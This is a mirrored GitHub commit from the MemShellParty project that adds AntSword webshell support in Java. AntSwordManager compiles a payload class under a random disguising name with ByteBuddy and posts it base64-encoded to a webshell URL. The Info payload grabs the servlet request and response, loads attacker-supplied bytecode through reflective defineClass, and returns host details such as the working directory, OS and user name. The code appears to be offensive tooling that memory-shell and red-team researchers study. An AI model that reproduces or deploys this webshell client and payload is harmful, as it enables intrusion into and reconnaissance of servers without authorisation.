mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support AntSword shell generate (#34)
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
plugins {
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.tools'
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation project(":common")
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
implementation 'javax.servlet:javax.servlet-api'
|
||||
implementation 'commons-io:commons-io'
|
||||
implementation 'org.apache.commons:commons-lang3'
|
||||
implementation 'commons-codec:commons-codec'
|
||||
|
||||
implementation 'com.squareup.okhttp3:okhttp'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import lombok.Data;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.ClassFileVersion;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Data
|
||||
public class AntSwordManager {
|
||||
private final OkHttpClient client;
|
||||
private String entrypoint;
|
||||
private String pass;
|
||||
|
||||
private Map<String, String> headers = new HashMap<>();
|
||||
|
||||
public AntSwordManager() {
|
||||
this.client = new OkHttpClient.Builder().build();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public String getInfo() {
|
||||
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class)
|
||||
.name(Utils.getRandomClassName(Info.class.getName()))
|
||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||
.make().getBytes();
|
||||
String base64String = Base64.getEncoder().encodeToString(bytes);
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add(this.pass, base64String)
|
||||
.add("j4677eff439969", "wO")
|
||||
.build();
|
||||
Request.Builder builder = new Request.Builder()
|
||||
.url(this.entrypoint)
|
||||
.post(requestBody)
|
||||
.headers(Headers.of(this.headers));
|
||||
try (Response response = client.newCall(builder.build()).execute()) {
|
||||
return response.body().string();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
public static AntSwordManager.AntSwordManagerBuilder builder() {
|
||||
return new AntSwordManager.AntSwordManagerBuilder();
|
||||
}
|
||||
|
||||
public static class AntSwordManagerBuilder {
|
||||
private final Map<String, String> headers = new HashMap<>();
|
||||
private String entrypoint;
|
||||
private String pass;
|
||||
|
||||
public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) {
|
||||
this.entrypoint = entrypoint;
|
||||
return this;
|
||||
}
|
||||
|
||||
public AntSwordManager.AntSwordManagerBuilder pass(String pass) {
|
||||
this.pass = pass;
|
||||
return this;
|
||||
}
|
||||
|
||||
public AntSwordManager.AntSwordManagerBuilder header(String key, String value) {
|
||||
this.headers.put(key, value);
|
||||
return this;
|
||||
}
|
||||
|
||||
public AntSwordManager build() {
|
||||
AntSwordManager manager = new AntSwordManager();
|
||||
manager.setPass(pass);
|
||||
manager.setEntrypoint(entrypoint);
|
||||
Map<String, String> headers = new HashMap<>(16);
|
||||
headers.put("Content-Type", "application/x-www-form-urlencoded");
|
||||
headers.putAll(this.headers);
|
||||
manager.setHeaders(headers);
|
||||
return manager;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class Info {
|
||||
public HttpServletRequest request = null;
|
||||
public HttpServletResponse response = null;
|
||||
public String encoder = "base64";
|
||||
public String cs = "UTF8";
|
||||
public String randomPrefix = "2";
|
||||
public String decoderClassdata;
|
||||
|
||||
public Info() {
|
||||
}
|
||||
|
||||
public boolean equals(Object var1) {
|
||||
this.parseObj(var1);
|
||||
StringBuffer var2 = new StringBuffer();
|
||||
String var3 = "2f9d7d";
|
||||
String var4 = "2d5c21ab2c35";
|
||||
String var5 = "j4677eff439969";
|
||||
|
||||
try {
|
||||
this.response.setContentType("text/html");
|
||||
this.request.setCharacterEncoding(this.cs);
|
||||
this.response.setCharacterEncoding(this.cs);
|
||||
this.decoderClassdata = this.decode(this.request.getParameter(var5));
|
||||
var2.append(this.SysInfoCode());
|
||||
} catch (Exception var8) {
|
||||
var2.append("ERROR:// " + var8.toString());
|
||||
}
|
||||
|
||||
try {
|
||||
this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
String SysInfoCode() {
|
||||
String var1 = System.getProperty("user.dir");
|
||||
String var2 = System.getProperty("os.name");
|
||||
String var3 = System.getProperty("user.name");
|
||||
String var4 = this.WwwRootPathCode(var1);
|
||||
return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3;
|
||||
}
|
||||
|
||||
String WwwRootPathCode(String var1) {
|
||||
StringBuilder var2 = new StringBuilder();
|
||||
if (!var1.startsWith("/")) {
|
||||
try {
|
||||
File[] var3 = File.listRoots();
|
||||
|
||||
for(File var7 : var3) {
|
||||
var2.append(var7.toString(), 0, 2);
|
||||
}
|
||||
} catch (Exception var8) {
|
||||
var2.append("/");
|
||||
}
|
||||
} else {
|
||||
var2.append("/");
|
||||
}
|
||||
|
||||
return var2.toString();
|
||||
}
|
||||
|
||||
public void parseObj(Object var1) {
|
||||
if (var1.getClass().isArray()) {
|
||||
Object[] var2 = (Object[]) var1;
|
||||
this.request = (HttpServletRequest)var2[0];
|
||||
this.response = (HttpServletResponse)var2[1];
|
||||
} else {
|
||||
try {
|
||||
Class var9 = Class.forName("javax.servlet.jsp.PageContext");
|
||||
this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
|
||||
this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
|
||||
} catch (Exception var8) {
|
||||
if (var1 instanceof HttpServletRequest) {
|
||||
this.request = (HttpServletRequest)var1;
|
||||
|
||||
try {
|
||||
Field var3 = this.request.getClass().getDeclaredField("request");
|
||||
var3.setAccessible(true);
|
||||
HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
|
||||
Field var5 = var4.getClass().getDeclaredField("response");
|
||||
var5.setAccessible(true);
|
||||
this.response = (HttpServletResponse)var5.get(var4);
|
||||
} catch (Exception var7) {
|
||||
try {
|
||||
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
|
||||
} catch (Exception var6) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public String asoutput(String var1) {
|
||||
try {
|
||||
byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
|
||||
Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
var3.setAccessible(true);
|
||||
Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
|
||||
return var4.getConstructor(String.class).newInstance(var1).toString();
|
||||
} catch (Exception var5) {
|
||||
return var1;
|
||||
}
|
||||
}
|
||||
|
||||
String decode(String var1) throws Exception {
|
||||
int var2 = 0;
|
||||
|
||||
try {
|
||||
var2 = Integer.parseInt(this.randomPrefix);
|
||||
var1 = var1.substring(var2);
|
||||
} catch (Exception var4) {
|
||||
var2 = 0;
|
||||
}
|
||||
|
||||
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
|
||||
}
|
||||
|
||||
public byte[] Base64DecodeToByte(String var1) {
|
||||
Object var2 = null;
|
||||
String var3 = System.getProperty("java.version");
|
||||
|
||||
try {
|
||||
byte[] var7;
|
||||
if (var3.compareTo("1.9") >= 0) {
|
||||
Class var4 = Class.forName("java.util.Base64");
|
||||
Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
|
||||
var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1);
|
||||
} else {
|
||||
Class var8 = Class.forName("sun.misc.BASE64Decoder");
|
||||
var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1);
|
||||
}
|
||||
|
||||
return var7;
|
||||
} catch (Exception var6) {
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class Utils {
|
||||
|
||||
public static String getRandomAlpha(int length) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(52);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getRandomClassName(String sourceName) {
|
||||
String[] domainAs = new String[]{"com", "net", "org", "sun"};
|
||||
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
|
||||
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
|
||||
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
|
||||
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
|
||||
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
|
||||
int domainAIndex = (new Random()).nextInt(4);
|
||||
String domainA = domainAs[domainAIndex];
|
||||
int randomSegments = (new Random()).nextInt(3) + 3;
|
||||
if (randomSegments == 3) {
|
||||
return domainA + "." + domainB + "." + className;
|
||||
} else if (randomSegments == 4) {
|
||||
return domainA + "." + domainB + "." + domainC + "." + className;
|
||||
} else {
|
||||
return domainA + "." + domainB + "." + domainC + "." + className;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/18
|
||||
*/
|
||||
class AntSwordManagerTest {
|
||||
|
||||
@Test
|
||||
@Disabled("only for local test")
|
||||
void test() {
|
||||
AntSwordManager antSwordManager = AntSwordManager.builder()
|
||||
.pass("ant")
|
||||
.entrypoint("http://localhost:8082/app/ant.jsp").build();
|
||||
System.out.println(antSwordManager.getInfo());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user